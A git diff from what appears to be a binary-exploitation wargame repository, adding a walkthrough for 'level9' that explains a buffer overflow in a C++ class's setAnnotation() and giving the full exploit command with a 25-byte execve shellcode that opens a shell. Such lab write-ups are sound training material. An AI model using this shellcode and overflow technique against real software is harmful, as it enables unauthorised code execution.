diff --git a/level9/ressources/exploit b/level9/ressources/exploit index bbf9ec4..7351882 100644 --- a/level9/ressources/exploit +++ b/level9/ressources/exploit @@ -1 +1 @@ -./level9 $(python -c 'print "\x11\xa0\x04\x08" + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "A"*79 + "\x0c\xa0\x04\x08"') +./level9 $(python -c 'print "\x10\xa0\x04\x08" + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "A"*79 + "\x0c\xa0\x04\x08"') diff --git a/level9/walkthrough b/level9/walkthrough new file mode 100644 index 0000000..2eab199 --- /dev/null +++ b/level9/walkthrough @@ -0,0 +1,22 @@ +# Level9 + +Using BinaryNinja, we can decompile the code and see that it's from a cpp source code. +It has a class named `N`, containing: +- 2 attributes `char annotation[100]` and `int nb` +- a constructor setting `int nb` +- the method `setAnnotation()`, doing a `memcpy()` of a string into `annotation` +- 2 operator overloads (`+` and `-`). + +The main allocates 2 instances (`a` and `b`) of this class. It will store their addresses in 2 other pointers. +We have a non-secure call to `setAnnotation()` on `a` with `av[1]`, allowing us to overflow the annotation buffer. +Using (this tool)[https://wiremask.eu/tools/buffer-overflow-pattern-generator/] we can find the offset between `n1` and `eax`, resulting in 108. +Now what we want to do is copy the address of our buffer in `eax`, which will then be moved to `edx` and eventually called (`call *%edx` at the end of the program). +Let's build our exploit in 4 parts: +- `"\x10\xa0\x04\x08"` => the address of the shell code injection which is `n1->annotation + 4` since we need to dereference it twice +- `"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"` => the 25 bytes shell code injection +- `"A"*79` => the remaining bytes to overflow until `eax` (4+25+79 = 108) +- `"\x0c\xa0\x04\x08"` => the adress of the actual buffer in `n1->annotation`. + +Here is the command: +`./level9 $(python -c 'print "\x10\xa0\x04\x08" + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" + "A"*79 + "\x0c\xa0\x04\x08"') +`